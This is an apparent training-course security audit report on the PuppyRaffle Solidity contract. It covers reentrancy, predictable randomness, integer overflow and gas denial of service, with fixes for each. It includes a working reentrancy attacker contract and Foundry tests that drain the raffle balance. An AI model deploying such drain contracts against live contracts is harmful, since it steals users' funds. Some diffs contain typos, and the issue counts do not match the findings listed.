Protocol Audit Report

Version 1.0

FC-Pascal

December 19, 2025

Protocol Audit Report

https://github.com/FC-Pascal

December 19, 2025

Prepared by: FC-Pascal Lead Auditors: - Pascal

Table of Contents

- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
  - Scope
  - Roles
- Executive Summary
  - Issues found
- Findings
  - High
    * [H-1] `PuppyRaffle::refund` function allows entrant to drain raffle balance
    * [H-2] `PuppyRaffle::selectWinner` allows user to influence or predict winner
    * [H-3] Integer overflow of `PuppyRaffle::totalFees` loses funds
  - Medium
    * [M-1] Looping through array to check for duplicate players in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, incrementing gas costs for future entrants.

- Low
  * [L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for both non-existent player and player at index 0 causing the player at index 0 to think they have not entered the raffle.
- Informational/Non-crits
  * [I-1] Solidity pragma should be specific, not wide
  * [I-2] Using an outdated version of solidity isn't good
  * [I-3]: Missing checks for `address(0)` when assigning values to address state variables
  * [I-4] `PuppyRaffle::selectWinner` does not follow CEI, which is not a safe practice
  * [I-4] Use of 'magic' numbers is discouraged
- Gas
  * [G-1] Unchanged state variables should be decalared immutable or constant
  * [G-2] Storage variables in a loop should be cached

Protocol Summary

Protocol allows a player to enter a raffle to win a cute dog NFT. The protocol should do the following:

Call the `enterRaffle` function with the following parameters: `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends. Duplicate addresses are not allowed Users are allowed to get a refund of their ticket & `value` if they call the refund function Every X seconds, the raffle will be able to draw a winner and be minted a random puppy The owner of the protocol will set a feeAddress to take a cut of the value, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

I make all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

Commit Hash: 2a47715b30cf11ca82db148704e67652ad679cd8 In Scope: ## Scope

```
./src/
#-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

I had fun and it was really exciting auditing this codebase(ignoring the stress especially in this process of writing reports), Patrick is such a good tutor

Issues found

Severity	Number of issues found
High	3

Severity	Number of issues found
Medium	3
Low	1
Info	7
Gas Optimizations	2
Total	16

Findings

High

[H-1] `PuppyRaffle::refund` function allows entrant to drain raffle balance

Description: The `PuppyRaffle::refund` does not follow the CEI pattern enabling participants to drain raffle contract balance

```
function refund(uint256 playerIndex) public {
        // written-skipped MEV
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
@>        payable(msg.sender).sendValue(entranceFee);
@>        players[playerIndex] = address(0);
        emit RaffleRefunded(playerAddress);
    }
```

A player who has entered the raffle can have a `fallback`/`receive` function that enables them to call the `PuppyRaffle::refund` fucntion again and again till the raffle contract balance is drained.

Impact: All fees paid by raffle entrants could be stolen by malicious participants

Proof of Concept: 1. Users enter raffle 2. Attacker sets up a contract with a `fallback` function that calls the `PuppyRafle::refund` function 3. Attacker enters the raffle 4. Attacker calls `PuppyRaffle::refund` from their attack contract draining the contract balance

Proof of Code

code

```
    function test_refundReentrancyAttack() public {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        ReentrancyAttacker attackerContract = new ReentrancyAttacker(
            puppyRaffle);
        address attacker = makeAddr("attacker");
        vm.deal(attacker, 1 ether);

        // attack
        uint256 startingAttackerContractBalance = address(
            attackerContract).balance;
        uint256 startingContractBalance = address(puppyRaffle).balance;

        vm.prank(attacker);
        attackerContract.attack{value:entranceFee}();

        uint256 endingAttackerContractBalance = address(
            attackerContract).balance;
        uint256 endingContractBalance = address(puppyRaffle).balance;



        console.log("starting attacker contract balance:",
            startingAttackerContractBalance);
        console.log("starting contract balance:",
            startingContractBalance);

        console.log("ending attacker contract balance:",
            endingAttackerContractBalance);
        console.log("ending contract balance:", endingContractBalance);

    }
```

Paste the attack contract as well:

```
    contract ReentrancyAttacker {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor (PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();
    }

```

```
    function attack() external payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);

        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
            ;
        puppyRaffle.refund(attackerIndex);
    }

    function _stealMoney() internal {
        if (address(puppyRaffle).balance >= entranceFee) {
            puppyRaffle.refund(attackerIndex);
        }
    }

    fallback() external payable {
        _stealMoney();
    }

    receive() external payable {
        _stealMoney();
    }
}
```

Recommended Mitigation: To prevent this, the `PuppyRaffle::refund` function should update the players array first before making an external call. Additionally, the event emission should be moved up as well.

```
    function refund(uint256 playerIndex) public {
        // written-skipped MEV
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the
            player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player
            already refunded, or is not active");
+       players[playerIndex] = address(0);
+       emit RaffleRefunded(playerAddress);
        payable(msg.sender).sendValue(entranceFee);
-       players[playerIndex] = address(0);
-       emit RaffleRefunded(playerAddress);
    }
```

[H-2] `PuppyRaffle::selectWinner` allows user to influence or predict winner

Description: the hashed variables `msg.sender`, `block.timestamp`, and `block.difficulty` results in a predictable final value which malicious users can manipualate and know ahead of time to choose the winner of the raffle themselves

Note This means users could front-run this function and call `refund` if they see they are not going to be the winner

Impact: Any user can influence the result of the raffle

Proof of Concept: 1. validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate. 2. User can manipulate/mine their `msg.sender` value to result in their address being used to generate the winner. 3. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Recommended Mitigation: consider using a cryptographically proven RNG such as chainlink VRF

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses funds

Description: In solidity versions prior to `0.8.0`, integers were subject to integer overflow.

```
uint64 myVar = type(uint64).max;
// 18446744073709551615
myVar = myVar + 1;
// myVat will be 0
```

Impact: In `PuppyRafle::selectWinner`. `totalFees` are accummulated for the `feeAddress` to withdraw later in the `withdrawFees`, however, if the `totalFees` overflows, funds might be stuck permanently in the contract.

Proof of Concept: 1. initially,`totalFees` is 0. 2. 100 players enter the raffle. 3. `totalFees` will then be

```
totalFees = totalFees + uint64(fee);
// aka
totalFees = 000000000000000000 +  20000000000000000000;
// and this will overflow
totalFees = 15532559262904483 85;
```

4. you will not be able to withdraw due to this line in `puppyRaffle::withdrawFees` :

```
    require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
    uint256 feesToWithdraw = totalFees;
```

Code

```
    function testIntegerOverflows() public {
        uint256 playersNum = 100;
        uint256 typeMax = type(uint64).max;
        address[] memory players = new address[](playersNum);
        for (uint i = 0; i < playersNum; i++) {
```

```
            players[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * players.length}(players);
        uint256 totalAmountCollected = playersNum * entranceFee;
        uint256 expectedTotalFees = (totalAmountCollected * 20) / 100;
        vm.warp(block.timestamp + duration + 1 days);
        puppyRaffle.selectWinner();
        uint64 actualTotalFees = puppyRaffle.totalFees();
        // totalFees initializes as 0
        assert(expectedTotalFees > uint256(actualTotalFees));
        assertLt(actualTotalFees, expectedTotalFees);
        uint256 lostFees = expectedTotalFees - actualTotalFees;
        console.log("max uint64 value", typeMax / 1e18, "ETH");
        console.log("expected total fees", expectedTotalFees / 1e18, "ETH");
        console.log("actual total fees", actualTotalFees / 1e18, "ETH");
        console.log("lost fees:", lostFees / 1e18, "ETH");

    }
```

Recommended Mitigation: There are a few recommendations: 1. Use the type `uint256`, instead of `uint64` for `PuppyRaffle::totalFees`, and use newer versions of solidity. 2. Use the `safeMath` library version of openZeppelin for version `0.7.6` of solidity, but you could still have a hard time with `uint64` type if too many fees are collected. 3. Remove the balance check from the `PuppyRaffle::withdrawFees` function

```
-    require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
```

More attack vectors with the final require, so it is recommended to remove it regardless

Medium

[M-1] Looping through array to check for duplicate players in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, incrementing gas costs for future entrants.

IMPACT: MEDIUM LIKELIHOOD: MEDIUM

Description: The `PuppyRaffle::enterRaffle` function loops through the `PuppyRaffle::players` array to check for duplicate. However, the longer the `PuppyRaffle::players` array is , the more checks a new player will have to make . This means the gas costs for players who enter early when the raffle starts will be insanely lower than those who enter later. Every additional address in the `PuppyRaffle::players` array, is an additional check the loop will have to make.

```
// @audit DoS attack
@>     for (uint256 i = 0; i < players.length - 1; i++) {
                    for (uint256 j = i + 1; j < players.length; j++) {
                        require(players[i] != players[j], "PuppyRaffle:
                            Duplicate player");
                    }
                }
```

Impact: The gas costs for raffle entrants will greatly increase as more players enter the raffle. Discouraging later users from entering, and causing a rush at the start of a raffle to be one of the first entrants in the queue.

An attacker might flood the `PuppyRaffle::entrants` with addresses and make it so big that others might no be able to enter, guaranteeing themselves the win.

Proof of Concept: If 2 sets of players enter the raffle, the gas costs will look like this: - 1st 100 players: 6503275 - 2nd 100 players: 18995515 3x more expensive for the 2nd 100 players

PoC

place the following test in the `PuppyRaffleTest.t.sol` file:

```
function test_DenialOfService() public {
        vm.txGasPrice(1);

        uint256 playersNum = 100;
        address[] memory players = new address[](playersNum);
        for (uint i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }

        // how much gas it costs
        uint256 gasStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players.length}(
            players);
        uint256 gasEnd = gasleft();
        uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
        console.log("Gas cost of the first 100 players: ", gasUsedFirst
            );

        address[] memory playersTwo = new address[](playersNum);
        for (uint i = 0; i < playersNum; i++) {
            playersTwo[i] = address(i + playersNum);
        }

        // how much gas it costs
        uint256 gasStartSecond = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players.length}(
            playersTwo);
        uint256 gasEndSecond = gasleft();
```

```
        uint256 gasUsedSecond = (gasStartSecond - gasEndSecond) * tx.gasprice;
        console.log("Gas cost of the second 100 players: ", gasUsedSecond);

        assert(gasUsedFirst < gasUsedSecond);
    }
```

The logs from the test proves that the gas costs for the second 100 players is at least 3x more expensive than those of the first 100 players:

```
Logs:
  Gas cost of the first 100 players:  6503275
  Gas cost of the second 100 players:  18995515
```

Recommended Mitigation: A few recommendations: 1 Consider allowing duplicate entries, players may make new addresses and enter anyways, so technically, duplicate entries are not being prevented anyways.

2 If this functionality must be kept, consider using mapping that allows for real time look up and not loops or use OpenZeppelins's Enumerable Set Library.

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for both non-existent player and player at index 0 causing the player at index 0 to think they have not entered the raffle.

Description: If a player is in the `PuppyRaffle::players` array at index 0 , this will return 0 but also, it will return 0 for a player not in the array.

```
    function getActivePlayerIndex(address player) external view returns (uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
        return 0;
```

Impact: Might cause the player at index 0 to incorrectly think they have not entered raffle and enter again, wasting gas

Proof of Concept: 1. User enters the raffle being the first entrant 2. `PuppyRaffle::getActivePlayerIndex` returns 0 causing the player to think they have not entered the raffle 3. player tries to enter the raffle again wasting gas

Recommended Mitigation: Easiest mitigation is to return is to revert if the player is not in the array

You could also return an `int256`, returning -1 if the player is not in the array

Informational/Non-crits

[I-1] Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

1 Found Instances

- Found in src/PuppyRaffle.sol Line: 2

```
pragma solidity ^0.7.6;
```

[I-2] Using an outdated version of solidity isn't good

consider using a newer version

Description solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation Deploy with a recent version of Solidity (at least 0.8.0) with no known severe issues.

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

see slither documentation for more details

[I-3]: Missing checks for `address(0)` when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 68

```
        feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 190

```
        feeAddress = newFeeAddress;
```

[I-4] `PuppyRaffle::selectWinner` does not follow CEI, which is not a safe practice

Recommned following that to keep code clean

```
-    (bool success,) = winner.call{value: prizePool}("");
-    require(success, "PuppyRaffle: Failed to send prize pool to winner");
     _safeMint(winner, tokenId);
+    (bool success,) = winner.call{value: prizePool}("");
+    require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

[I-4] Use of 'magic' numbers is discouraged

Using magic numbers is confusing and seeing it in code just makes the codebase complicated

Examples:

```
uint256 prizePool = (totalAmountCollected * 80) / 100;
uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead, could be written as

```
uint256 public constant PRICE_POOL_PERCENTAGE = 80;
uint256 public constant FEE_PERCENTAGE = 20;
uint256 public constant POOL_PRECISON = 100;
```

Gas

[G-1] Unchanged state variables should be decalared immutable or constant

Reading from storage is much more expensive than reading from immutable or constant variables

Instances: - `PuppyRaffle::raffleDuration` should be `immutable` - `PuppyRaffle::commonImmageUri` should be `constant` - `PuppyRaffle::rareImageUri` should be `constant` - `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] Storage variables in a loop should be cached

Everytime you call `players.lenght`, you read from storage, as opposed to memory which is more gas inexpensive

```
+     uint256 playersLength = players.length;
-     for (uint256 i = 0; i < players.length - 1; i++) {
+     for (uint256 i + 0; i < playersLenth - 1: i++) {
-            for (uint256 j = i + 1; j < players.length; j++) {
+            for (uint256 j = i + 1; j < playersLength; j++) {
                 require(players[i] != players[j], "PuppyRaffle:
                    Duplicate player");
             }
         }
```